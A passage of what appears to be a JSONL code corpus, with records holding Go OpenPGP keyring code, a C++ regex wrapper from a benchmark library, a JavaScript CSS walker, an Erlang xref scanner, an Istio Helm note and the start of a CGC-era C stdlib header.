true\n\t}\n\n\t// If we don't have any candidate subkeys for encryption and\n\t// the primary key doesn't have any usage metadata then we\n\t// assume that the primary key is ok. Or, if the primary key is\n\t// marked as ok to encrypt to, then we can obviously use it.\n\ti := e.primaryIdentity()\n\tif !i.SelfSignature.FlagsValid || i.SelfSignature.FlagEncryptCommunications &&\n\t\te.PrimaryKey.PubKeyAlgo.CanEncrypt() &&\n\t\t!i.SelfSignature.KeyExpired(now) {\n\t\treturn Key{e, e.PrimaryKey, e.PrivateKey, i.SelfSignature}, true\n\t}\n\n\t// This Entity appears to be signing only.\n\treturn Key{}, false\n}\n\n// signingKey return the best candidate Key for signing a message with this\n// Entity.\nfunc (e *Entity) signingKey(now time.Time) (Key, bool) {\n\tcandidateSubkey := -1\n\n\tfor i, subkey := range e.Subkeys {\n\t\tif subkey.Sig.FlagsValid &&\n\t\t\tsubkey.Sig.FlagSign &&\n\t\t\tsubkey.PublicKey.PubKeyAlgo.CanSign() &&\n\t\t\t!subkey.Sig.KeyExpired(now) {\n\t\t\tcandidateSubkey = i\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif candidateSubkey != -1 {\n\t\tsubkey := e.Subkeys[candidateSubkey]\n\t\treturn Key{e, subkey.PublicKey, subkey.PrivateKey, subkey.Sig}, true\n\t}\n\n\t// If we have no candidate subkey then we assume that it's ok to sign\n\t// with the primary key.\n\ti := e.primaryIdentity()\n\tif !i.SelfSignature.FlagsValid || i.SelfSignature.FlagSign &&\n\t\t!i.SelfSignature.KeyExpired(now) {\n\t\treturn Key{e, e.PrimaryKey, e.PrivateKey, i.SelfSignature}, true\n\t}\n\n\treturn Key{}, false\n}\n\n// An EntityList contains one or more Entities.\ntype EntityList []*Entity\n\n// KeysById returns the set of keys that have the given key id.\nfunc (el EntityList) KeysById(id uint64) (keys []Key) {\n\tfor _, e := range el {\n\t\tif e.PrimaryKey.KeyId == id {\n\t\t\tvar selfSig *packet.Signature\n\t\t\tfor _, ident := range e.Identities {\n\t\t\t\tif selfSig == nil {\n\t\t\t\t\tselfSig = ident.SelfSignature\n\t\t\t\t} else if ident.SelfSignature.IsPrimaryId != nil && *ident.SelfSignature.IsPrimaryId {\n\t\t\t\t\tselfSig = ident.SelfSignature\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tkeys = append(keys, Key{e, e.PrimaryKey, e.PrivateKey, selfSig})\n\t\t}\n\n\t\tfor _, subKey := range e.Subkeys {\n\t\t\tif subKey.PublicKey.KeyId == id {\n\t\t\t\tkeys = append(keys, Key{e, subKey.PublicKey, subKey.PrivateKey, subKey.Sig})\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\n// KeysByIdAndUsage returns the set of keys with the given id that also meet\n// the key usage given by requiredUsage.  The requiredUsage is expressed as\n// the bitwise-OR of packet.KeyFlag* values.\nfunc (el EntityList) KeysByIdUsage(id uint64, requiredUsage byte) (keys []Key) {\n\tfor _, key := range el.KeysById(id) {\n\t\tif len(key.Entity.Revocations) > 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif key.SelfSignature.RevocationReason != nil {\n\t\t\tcontinue\n\t\t}\n\n\t\tif key.SelfSignature.FlagsValid && requiredUsage != 0 {\n\t\t\tvar usage byte\n\t\t\tif key.SelfSignature.FlagCertify {\n\t\t\t\tusage |= packet.KeyFlagCertify\n\t\t\t}\n\t\t\tif key.SelfSignature.FlagSign {\n\t\t\t\tusage |= packet.KeyFlagSign\n\t\t\t}\n\t\t\tif key.SelfSignature.FlagEncryptCommunications {\n\t\t\t\tusage |= packet.KeyFlagEncryptCommunications\n\t\t\t}\n\t\t\tif key.SelfSignature.FlagEncryptStorage {\n\t\t\t\tusage |= packet.KeyFlagEncryptStorage\n\t\t\t}\n\t\t\tif usage&requiredUsage != requiredUsage {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tkeys = append(keys, key)\n\t}\n\treturn\n}\n\n// DecryptionKeys returns all private keys that are valid for decryption.\nfunc (el EntityList) DecryptionKeys() (keys []Key) {\n\tfor _, e := range el {\n\t\tfor _, subKey := range e.Subkeys {\n\t\t\tif subKey.PrivateKey != nil && (!subKey.Sig.FlagsValid || subKey.Sig.FlagEncryptStorage || subKey.Sig.FlagEncryptCommunications) {\n\t\t\t\tkeys = append(keys, Key{e, subKey.PublicKey, subKey.PrivateKey, subKey.Sig})\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\n// ReadArmoredKeyRing reads one or more public/private keys from an armor keyring file.\nfunc ReadArmoredKeyRing(r io.Reader) (EntityList, error) {\n\tblock, err := armor.Decode(r)\n\tif err == io.EOF {\n\t\treturn nil, errors.InvalidArgumentError(\"no armored data found\")\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif block.Type != PublicKeyType && block.Type != PrivateKeyType {\n\t\treturn nil, errors.InvalidArgumentError(\"expected public or private key block, got: \" + block.Type)\n\t}\n\n\treturn ReadKeyRing(block.Body)\n}\n\n// ReadKeyRing reads one or more public/private keys. Unsupported keys are\n// ignored as long as at least a single valid key is found.\nfunc ReadKeyRing(r io.Reader) (el EntityList, err error) {\n\tpackets := packet.NewReader(r)\n\tvar lastUnsupportedError error\n\n\tfor {\n\t\tvar e *Entity\n\t\te, err = ReadEntity(packets)\n\t\tif err != nil {\n\t\t\t// TODO: warn about skipped unsupported/unreadable keys\n\t\t\tif _, ok := err.(errors.UnsupportedError); ok {\n\t\t\t\tlastUnsupportedError = err\n\t\t\t\terr = readToNextPublicKey(packets)\n\t\t\t} else if _, ok := err.(errors.StructuralError); ok {\n\t\t\t\t// Skip unreadable, badly-formatted keys\n\t\t\t\tlastUnsupportedError = err\n\t\t\t\terr = readToNextPublicKey(packets)\n\t\t\t}\n\t\t\tif err == io.EOF {\n\t\t\t\terr = nil\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tel = nil\n\t\t\t\tbreak\n\t\t\t}\n\t\t} else {\n\t\t\tel = append(el, e)\n\t\t}\n\t}\n\n\tif len(el) == 0 && err == nil {\n\t\terr = lastUnsupportedError\n\t}\n\treturn\n}\n\n// readToNextPublicKey reads packets until the start of the entity and leaves\n// the first packet of the new entity in the Reader.\nfunc readToNextPublicKey(packets *packet.Reader) (err error) {\n\tvar p packet.Packet\n\tfor {\n\t\tp, err = packets.Next()\n\t\tif err == io.EOF {\n\t\t\treturn\n\t\t} else if err != nil {\n\t\t\tif _, ok := err.(errors.UnsupportedError); ok {\n\t\t\t\terr = nil\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn\n\t\t}\n\n\t\tif pk, ok := p.(*packet.PublicKey); ok && !pk.IsSubkey {\n\t\t\tpackets.Unread(p)\n\t\t\treturn\n\t\t}\n\t}\n}\n\n// ReadEntity reads an entity (public key, identities, subkeys etc) from the\n// given Reader.\nfunc ReadEntity(packets *packet.Reader) (*Entity, error) {\n\te := new(Entity)\n\te.Identities = make(map[string]*Identity)\n\n\tp, err := packets.Next()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar ok bool\n\tif e.PrimaryKey, ok = p.(*packet.PublicKey); !ok {\n\t\tif e.PrivateKey, ok = p.(*packet.PrivateKey); !ok {\n\t\t\tpackets.Unread(p)\n\t\t\treturn nil, errors.StructuralError(\"first packet was not a public/private key\")\n\t\t} else {\n\t\t\te.PrimaryKey = &e.PrivateKey.PublicKey\n\t\t}\n\t}\n\n\tif !e.PrimaryKey.PubKeyAlgo.CanSign() {\n\t\treturn nil, errors.StructuralError(\"primary key cannot be used for signatures\")\n\t}\n\n\tvar current *Identity\n\tvar revocations []*packet.Signature\nEachPacket:\n\tfor {\n\t\tp, err := packets.Next()\n\t\tif err == io.EOF {\n\t\t\tbreak\n\t\t} else if err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tswitch pkt := p.(type) {\n\t\tcase *packet.UserId:\n\t\t\tcurrent = new(Identity)\n\t\t\tcurrent.Name = pkt.Id\n\t\t\tcurrent.UserId = pkt\n\t\t\te.Identities[pkt.Id] = current\n\n\t\t\tfor {\n\t\t\t\tp, err = packets.Next()\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\treturn nil, io.ErrUnexpectedEOF\n\t\t\t\t} else if err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\n\t\t\t\tsig, ok := p.(*packet.Signature)\n\t\t\t\tif !ok {\n\t\t\t\t\treturn nil, errors.StructuralError(\"user ID packet not followed by self-signature\")\n\t\t\t\t}\n\n\t\t\t\tif (sig.SigType == packet.SigTypePositiveCert || sig.SigType == packet.SigTypeGenericCert) && sig.IssuerKeyId != nil && *sig.IssuerKeyId == e.PrimaryKey.KeyId {\n\t\t\t\t\tif err = e.PrimaryKey.VerifyUserIdSignature(pkt.Id, e.PrimaryKey, sig); err != nil {\n\t\t\t\t\t\treturn nil, errors.StructuralError(\"user ID self-signature invalid: \" + err.Error())\n\t\t\t\t\t}\n\t\t\t\t\tcurrent.SelfSignature = sig\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t\tcurrent.Signatures = append(current.Signatures, sig)\n\t\t\t}\n\t\tcase *packet.Signature:\n\t\t\tif pkt.SigType == packet.SigTypeKeyRevocation {\n\t\t\t\trevocations = append(revocations, pkt)\n\t\t\t} else if pkt.SigType == packet.SigTypeDirectSignature {\n\t\t\t\t// TODO: RFC4880 5.2.1 permits signatures\n\t\t\t\t// directly on keys (eg. to bind additional\n\t\t\t\t// revocation keys).\n\t\t\t} else if current == nil {\n\t\t\t\treturn nil, errors.StructuralError(\"signature packet found before user id packet\")\n\t\t\t} else {\n\t\t\t\tcurrent.Signatures = append(current.Signatures, pkt)\n\t\t\t}\n\t\tcase *packet.PrivateKey:\n\t\t\tif pkt.IsSubkey == false {\n\t\t\t\tpackets.Unread(p)\n\t\t\t\tbreak EachPacket\n\t\t\t}\n\t\t\terr = addSubkey(e, packets, &pkt.PublicKey, pkt)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\tcase *packet.PublicKey:\n\t\t\tif pkt.IsSubkey == false {\n\t\t\t\tpackets.Unread(p)\n\t\t\t\tbreak EachPacket\n\t\t\t}\n\t\t\terr = addSubkey(e, packets, pkt, nil)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\tdefault:\n\t\t\t// we ignore unknown packets\n\t\t}\n\t}\n\n\tif len(e.Identities) == 0 {\n\t\treturn nil, errors.StructuralError(\"entity without any identities\")\n\t}\n\n\tfor _, revocation := range revocations {\n\t\terr = e.PrimaryKey.VerifyRevocationSignature(revocation)\n\t\tif err == nil {\n\t\t\te.Revocations = append(e.Revocations, revocation)\n\t\t} else {\n\t\t\t// TODO: RFC 4880 5.2.3.15 defines revocation keys.\n\t\t\treturn nil, errors.StructuralError(\"revocation signature signed by alternate key\")\n\t\t}\n\t}\n\n\treturn e, nil\n}\n\nfunc addSubkey(e *Entity, packets *packet.Reader, pub *packet.PublicKey, priv *packet.PrivateKey) error {\n\tvar subKey Subkey\n\tsubKey.PublicKey = pub\n\tsubKey.PrivateKey = priv\n\tp, err := packets.Next()\n\tif err == io.EOF {\n\t\treturn io.ErrUnexpectedEOF\n\t}\n\tif err != nil {\n\t\treturn errors.StructuralError(\"subkey signature invalid: \" + err.Error())\n\t}\n\tvar ok bool\n\tsubKey.Sig, ok = p.(*packet.Signature)\n\tif !ok {\n\t\treturn errors.StructuralError(\"subkey packet not followed by signature\")\n\t}\n\tif subKey.Sig.SigType != packet.SigTypeSubkeyBinding && subKey.Sig.SigType != packet.SigTypeSubkeyRevocation {\n\t\treturn errors.StructuralError(\"subkey signature with wrong type\")\n\t}\n\terr = e.PrimaryKey.VerifyKeySignature(subKey.PublicKey, subKey.Sig)\n\tif err != nil {\n\t\treturn errors.StructuralError(\"subkey signature invalid: \" + err.Error())\n\t}\n\te.Subkeys = append(e.Subkeys, subKey)\n\treturn nil\n}\n\nconst defaultRSAKeyBits = 2048\n\n// NewEntity returns an Entity that contains a fresh RSA/RSA keypair with a\n// single identity composed of the given full name, comment and email, any of\n// which may be empty but must not contain any of \"()<>\\x00\".\n// If config is nil, sensible defaults will be used.\nfunc NewEntity(name, comment, email string, config *packet.Config) (*Entity, error) {\n\tcurrentTime := config.Now()\n\n\tbits := defaultRSAKeyBits\n\tif config != nil && config.RSABits != 0 {\n\t\tbits = config.RSABits\n\t}\n\n\tuid := packet.NewUserId(name, comment, email)\n\tif uid == nil {\n\t\treturn nil, errors.InvalidArgumentError(\"user id field contained invalid characters\")\n\t}\n\tsigningPriv, err := rsa.GenerateKey(config.Random(), bits)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tencryptingPriv, err := rsa.GenerateKey(config.Random(), bits)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\te := &Entity{\n\t\tPrimaryKey: packet.NewRSAPublicKey(currentTime, &signingPriv.PublicKey),\n\t\tPrivateKey: packet.NewRSAPrivateKey(currentTime, signingPriv),\n\t\tIdentities: make(map[string]*Identity),\n\t}\n\tisPrimaryId := true\n\te.Identities[uid.Id] = &Identity{\n\t\tName:   uid.Name,\n\t\tUserId: uid,\n\t\tSelfSignature: &packet.Signature{\n\t\t\tCreationTime: currentTime,\n\t\t\tSigType:      packet.SigTypePositiveCert,\n\t\t\tPubKeyAlgo:   packet.PubKeyAlgoRSA,\n\t\t\tHash:         config.Hash(),\n\t\t\tIsPrimaryId:  &isPrimaryId,\n\t\t\tFlagsValid:   true,\n\t\t\tFlagSign:     true,\n\t\t\tFlagCertify:  true,\n\t\t\tIssuerKeyId:  &e.PrimaryKey.KeyId,\n\t\t},\n\t}\n\n\t// If the user passes in a DefaultHash via packet.Config,\n\t// set the PreferredHash for the SelfSignature.\n\tif config != nil && config.DefaultHash != 0 {\n\t\te.Identities[uid.Id].SelfSignature.PreferredHash = []uint8{hashToHashId(config.DefaultHash)}\n\t}\n\n\te.Subkeys = make([]Subkey, 1)\n\te.Subkeys[0] = Subkey{\n\t\tPublicKey:  packet.NewRSAPublicKey(currentTime, &encryptingPriv.PublicKey),\n\t\tPrivateKey: packet.NewRSAPrivateKey(currentTime, encryptingPriv),\n\t\tSig: &packet.Signature{\n\t\t\tCreationTime:              currentTime,\n\t\t\tSigType:                   packet.SigTypeSubkeyBinding,\n\t\t\tPubKeyAlgo:                packet.PubKeyAlgoRSA,\n\t\t\tHash:                      config.Hash(),\n\t\t\tFlagsValid:                true,\n\t\t\tFlagEncryptStorage:        true,\n\t\t\tFlagEncryptCommunications: true,\n\t\t\tIssuerKeyId:               &e.PrimaryKey.KeyId,\n\t\t},\n\t}\n\te.Subkeys[0].PublicKey.IsSubkey = true\n\te.Subkeys[0].PrivateKey.IsSubkey = true\n\n\treturn e, nil\n}\n\n// SerializePrivate serializes an Entity, including private key material, to\n// the given Writer. For now, it must only be used on an Entity returned from\n// NewEntity.\n// If config is nil, sensible defaults will be used.\nfunc (e *Entity) SerializePrivate(w io.Writer, config *packet.Config) (err error) {\n\terr = e.PrivateKey.Serialize(w)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor _, ident := range e.Identities {\n\t\terr = ident.UserId.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = ident.SelfSignature.SignUserId(ident.UserId.Id, e.PrimaryKey, e.PrivateKey, config)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = ident.SelfSignature.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tfor _, subkey := range e.Subkeys {\n\t\terr = subkey.PrivateKey.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = subkey.Sig.SignKey(subkey.PublicKey, e.PrivateKey, config)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = subkey.Sig.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\treturn nil\n}\n\n// Serialize writes the public part of the given Entity to w. (No private\n// key material will be output).\nfunc (e *Entity) Serialize(w io.Writer) error {\n\terr := e.PrimaryKey.Serialize(w)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, ident := range e.Identities {\n\t\terr = ident.UserId.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = ident.SelfSignature.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor _, sig := range ident.Signatures {\n\t\t\terr = sig.Serialize(w)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\tfor _, subkey := range e.Subkeys {\n\t\terr = subkey.PublicKey.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = subkey.Sig.Serialize(w)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// SignIdentity adds a signature to e, from signer, attesting that identity is\n// associated with e. The provided identity must already be an element of\n// e.Identities and the private key of signer must have been decrypted if\n// necessary.\n// If config is nil, sensible defaults will be used.\nfunc (e *Entity) SignIdentity(identity string, signer *Entity, config *packet.Config) error {\n\tif signer.PrivateKey == nil {\n\t\treturn errors.InvalidArgumentError(\"signing Entity must have a private key\")\n\t}\n\tif signer.PrivateKey.Encrypted {\n\t\treturn errors.InvalidArgumentError(\"signing Entity's private key must be decrypted\")\n\t}\n\tident, ok := e.Identities[identity]\n\tif !ok {\n\t\treturn errors.InvalidArgumentError(\"given identity string not found in Entity\")\n\t}\n\n\tsig := &packet.Signature{\n\t\tSigType:      packet.SigTypeGenericCert,\n\t\tPubKeyAlgo:   signer.PrivateKey.PubKeyAlgo,\n\t\tHash:         config.Hash(),\n\t\tCreationTime: config.Now(),\n\t\tIssuerKeyId:  &signer.PrivateKey.KeyId,\n\t}\n\tif err := sig.SignUserId(identity, e.PrimaryKey, signer.PrivateKey, config); err != nil {\n\t\treturn err\n\t}\n\tident.Signatures = append(ident.Signatures, sig)\n\treturn nil\n}\n"}
+{"text": "// Copyright 2015 Google Inc. All rights reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#ifndef BENCHMARK_RE_H_\n#define BENCHMARK_RE_H_\n\n#include \"internal_macros.h\"\n\n// clang-format off\n\n#if !defined(HAVE_STD_REGEX) && \\\n    !defined(HAVE_GNU_POSIX_REGEX) && \\\n    !defined(HAVE_POSIX_REGEX)\n  // No explicit regex selection; detect based on builtin hints.\n  #if defined(BENCHMARK_OS_LINUX) || defined(BENCHMARK_OS_APPLE)\n    #define HAVE_POSIX_REGEX 1\n  #elif __cplusplus >= 199711L\n    #define HAVE_STD_REGEX 1\n  #endif\n#endif\n\n// Prefer C regex libraries when compiling w/o exceptions so that we can\n// correctly report errors.\n#if defined(BENCHMARK_HAS_NO_EXCEPTIONS) && \\\n    defined(BENCHMARK_HAVE_STD_REGEX) && \\\n    (defined(HAVE_GNU_POSIX_REGEX) || defined(HAVE_POSIX_REGEX))\n  #undef HAVE_STD_REGEX\n#endif\n\n#if defined(HAVE_STD_REGEX)\n  #include \n#elif defined(HAVE_GNU_POSIX_REGEX)\n  #include \n#elif defined(HAVE_POSIX_REGEX)\n  #include \n#else\n#error No regular expression backend was found!\n#endif\n\n// clang-format on\n\n#include \n\n#include \"check.h\"\n\nnamespace benchmark {\n\n// A wrapper around the POSIX regular expression API that provides automatic\n// cleanup\nclass Regex {\n public:\n  Regex() : init_(false) {}\n\n  ~Regex();\n\n  // Compile a regular expression matcher from spec.  Returns true on success.\n  //\n  // On failure (and if error is not nullptr), error is populated with a human\n  // readable error message if an error occurs.\n  bool Init(const std::string& spec, std::string* error);\n\n  // Returns whether str matches the compiled regular expression.\n  bool Match(const std::string& str);\n\n private:\n  bool init_;\n// Underlying regular expression object\n#if defined(HAVE_STD_REGEX)\n  std::regex re_;\n#elif defined(HAVE_POSIX_REGEX) || defined(HAVE_GNU_POSIX_REGEX)\n  regex_t re_;\n#else\n#error No regular expression backend implementation available\n#endif\n};\n\n#if defined(HAVE_STD_REGEX)\n\ninline bool Regex::Init(const std::string& spec, std::string* error) {\n#ifdef BENCHMARK_HAS_NO_EXCEPTIONS\n  ((void)error);  // suppress unused warning\n#else\n  try {\n#endif\n  re_ = std::regex(spec, std::regex_constants::extended);\n  init_ = true;\n#ifndef BENCHMARK_HAS_NO_EXCEPTIONS\n}\ncatch (const std::regex_error& e) {\n  if (error) {\n    *error = e.what();\n  }\n}\n#endif\nreturn init_;\n}\n\ninline Regex::~Regex() {}\n\ninline bool Regex::Match(const std::string& str) {\n  if (!init_) {\n    return false;\n  }\n  return std::regex_search(str, re_);\n}\n\n#else\ninline bool Regex::Init(const std::string& spec, std::string* error) {\n  int ec = regcomp(&re_, spec.c_str(), REG_EXTENDED | REG_NOSUB);\n  if (ec != 0) {\n    if (error) {\n      size_t needed = regerror(ec, &re_, nullptr, 0);\n      char* errbuf = new char[needed];\n      regerror(ec, &re_, errbuf, needed);\n\n      // regerror returns the number of bytes necessary to null terminate\n      // the string, so we move that when assigning to error.\n      CHECK_NE(needed, 0);\n      error->assign(errbuf, needed - 1);\n\n      delete[] errbuf;\n    }\n\n    return false;\n  }\n\n  init_ = true;\n  return true;\n}\n\ninline Regex::~Regex() {\n  if (init_) {\n    regfree(&re_);\n  }\n}\n\ninline bool Regex::Match(const std::string& str) {\n  if (!init_) {\n    return false;\n  }\n  return regexec(&re_, str.c_str(), 0, nullptr, 0) == 0;\n}\n#endif\n\n}  // end namespace benchmark\n\n#endif  // BENCHMARK_RE_H_\n"}
+{"text": "import { EventEmitter } from \"events\"\nimport rework from \"rework\"\n\nconst RULE_TYPE = \"rule\"\nconst MEDIA_TYPE = \"media\"\n\nclass CssTreeWalker extends EventEmitter {\n    constructor(code, plugins) {\n        super()\n        this.startingSource = code\n        this.ast = null\n        plugins.forEach(plugin => {\n            plugin.initialize(this)\n        })\n    }\n\n    beginReading() {\n        this.ast = rework(this.startingSource).use(this.readPlugin.bind(this))\n    }\n\n    readPlugin(tree) {\n        this.readRules(tree.rules)\n        this.removeEmptyRules(tree.rules)\n    }\n\n    readRules(rules) {\n        for (let rule of rules) {\n            if (rule.type === RULE_TYPE) {\n                this.emit(\"readRule\", rule.selectors, rule)\n            }\n            if (rule.type === MEDIA_TYPE) {\n                this.readRules(rule.rules)\n            }\n        }\n    }\n\n    removeEmptyRules(rules) {\n        let emptyRules = []\n\n        for (let rule of rules) {\n            const ruleType = rule.type\n\n            if (ruleType === RULE_TYPE && rule.selectors.length === 0) {\n                emptyRules.push(rule)\n            }\n            if (ruleType === MEDIA_TYPE) {\n                this.removeEmptyRules(rule.rules)\n                if (rule.rules.length === 0) {\n                    emptyRules.push(rule)\n                }\n            }\n        }\n\n        emptyRules.forEach(emptyRule => {\n            const index = rules.indexOf(emptyRule)\n            rules.splice(index, 1)\n        })\n    }\n\n    toString() {\n        if (this.ast) {\n            return this.ast.toString().replace(/,\\n/g, \",\")\n        }\n        return \"\"\n    }\n}\n\nexport default CssTreeWalker\n"}
+{"text": "%%\n%% %CopyrightBegin%\n%% \n%% Copyright Ericsson AB 2000-2015. All Rights Reserved.\n%% \n%% Licensed under the Apache License, Version 2.0 (the \"License\");\n%% you may not use this file except in compliance with the License.\n%% You may obtain a copy of the License at\n%%\n%%     http://www.apache.org/licenses/LICENSE-2.0\n%%\n%% Unless required by applicable law or agreed to in writing, software\n%% distributed under the License is distributed on an \"AS IS\" BASIS,\n%% WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n%% See the License for the specific language governing permissions and\n%% limitations under the License.\n%% \n%% %CopyrightEnd%\n%%\n\n-module(xref_scanner).\n\n-include(\"xref.hrl\").\n\n-export([scan/1]).\n\nscan(Chars) ->\n    case erl_scan:string(Chars) of\n\t{ok, Tokens, _Line}  ->\n\t    {ok, lex(a1(Tokens))};\n\t{error, {Line,Module,Info}, _EndLine} ->\n\t    {error, Module:format_error(Info), Line}\n    end.\n\na1([{'-',N},{integer,N,1} | L]) ->\n    [{integer,N,-1} | a1(L)];\na1([T | L]) ->\n    [T | a1(L)];\na1([]) ->\n    [].\n\n-define(MFA(M,F,A,N), {atom,N,M}, {':',_}, {atom,_,F}, {'/',_}, {integer,_,A}).\n-define(MFA2(M,F,A,N), \n\t{'{',N},{atom,_,M},{',',_},{atom,_,F},{',',_},{integer,_,A},{'}',_}).\n-define(DECL(N1,N2,T), {':',N1},{var,N2,T}).\n\nlex([{atom,N,V1},{'->',_},{atom,_,V2} | L]) ->\n    Constant = {constant, unknown, edge, {V1,V2}},\n    [{edge,N,Constant} | lex(L)];\nlex([{'{',N},{atom,_,V1},{',',_},{atom,_,V2},{'}',_} | L]) ->\n    Constant = {constant, unknown, edge, {V1,V2}},\n    [{edge,N,Constant} | lex(L)];\nlex([?MFA(M,F,A,N),{'->',_},?MFA(M2,F2,A2,_) | L]) ->\n    Constant = {constant, 'Fun', edge, {{M,F,A},{M2,F2,A2}}},\n    [{edge,N,Constant} | lex(L)];\nlex([?MFA(M,F,A,N) | L]) ->\n    Constant = {constant, 'Fun', vertex, {M,F,A}},\n    [{vertex,N,Constant} | lex(L)];\nlex([{'{',N},?MFA2(M,F,A,_),{',',_},?MFA2(M2,F2,A2,_),{'}',_} | L]) ->\n    Constant = {constant, 'Fun', edge, {{M,F,A},{M2,F2,A2}}},\n    [{edge,N,Constant} | lex(L)];\nlex([?MFA2(M,F,A,N) | L]) ->\n    Constant = {constant, 'Fun', vertex, {M,F,A}},\n    [{vertex,N,Constant} | lex(L)];\nlex([?DECL(N1,N2,Decl) | L]) ->\n    case is_type(Decl) of\n\tfalse -> [?DECL(N1, N2, Decl) | lex(L)];\n\ttrue -> [{decl,N1,Decl} | lex(L)]\n    end;\nlex([{':',N},{'=',_} | L]) ->\n    [{':=',N} | lex(L)];\nlex([{'||',N},{'|',_} | L]) ->\n    [{'|||',N} | lex(L)];\nlex([V={var,N,Var} | L]) ->\n    T = case is_type(Var) of\n\t    false -> V;\n\t    true -> {cast,N,Var}\n\tend,\n    [T | lex(L)];\nlex([T | Ts]) ->\n    [T | lex(Ts)];\nlex([]) ->\n    [{'$end', erl_anno:new(?XREF_END_LINE)}].\n\nis_type('Rel')         -> true;\nis_type('App')         -> true;\nis_type('Mod')         -> true;\nis_type('Fun')         -> true;\nis_type('Lin')         -> true;\nis_type('LLin')        -> true;\nis_type('XLin')        -> true;\nis_type('ELin')        -> true;\nis_type('XXL')         -> true;\nis_type(_)             -> false.\n"}
+{"text": "Thank you for installing {{ .Chart.Name }}.\n\nYour release is named {{ .Release.Name }}.\n\nThe chart is used to connect this remote cluster from another local cluster.\n\nTo get started with istio multicluster, visit:\nhttps://istio.io/\n"}
+{"text": "/*\n\nAuthor: Jason Williams \n\nCopyright (c) 2014 Cromulence LLC\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\n*/\n#ifndef __STDLIB_H__\n#define __STDLIB_H__\n\n#define INUSE_FLAG 1\n#define FREE_FLAG 2\n\n#include \"libcgc.h\"\n\n//typedef unsigned long cgc_size_t;\n\ntypedef struct _heap_block_header {\n\tcgc_size_t remaining_size;\n\tstruct _heap_block_header *next;\n\tchar data[1];\n} heap_block_header;\n\n\ntypedef struct _heap_header {\n\tcgc_size_t size;\n\tchar flags;\n} heap_header;\n\ntypedef struct _heap_metadata {\n\tcgc_size_t mem_commit;\n\tcgc_size_t mem_free;\n\tcgc_size_t mem_inuse;\n\theap_block_header *blocks;\n} heap_metadata;\n\nvoid *cgc_calloc(cgc_size_t count, cgc_size_t size);\nvoid cgc_free(void *ptr);\nvoid *cgc_malloc(cgc_size_t size);\n\n\n\nint cgc_isspace( int c );\nint cgc_isdigit( int c );\nint cgc_isnan( double val );\nint cgc_isinf( double val );\ndouble cgc_atof(const char *str);\nint cgc_atoi(const char *str);\nint cgc_islower( int c );\nint cgc_isupper( int c );\nint cgc_isalpha( int c );\nint cgc_isalnum( int c );\nint cgc_memcpy( void *dest, void *src, cgc_size_t n);\n\nchar *cgc_strcpy( char *dest, char *src );\nchar *cgc_strncpy( char *, const char *, cgc_size_t );\nint cgc_putc( int );\nint cgc_printf( const char *fmt, ... );\nint cgc_sprintf( char *str, const char *fmt, ... );\nvoid cgc_bzero( void *, cgc_size_t );\nvoid *cgc_memset(void *, int, cgc_size_t);\nint cgc_strcmp( const char *, const char * 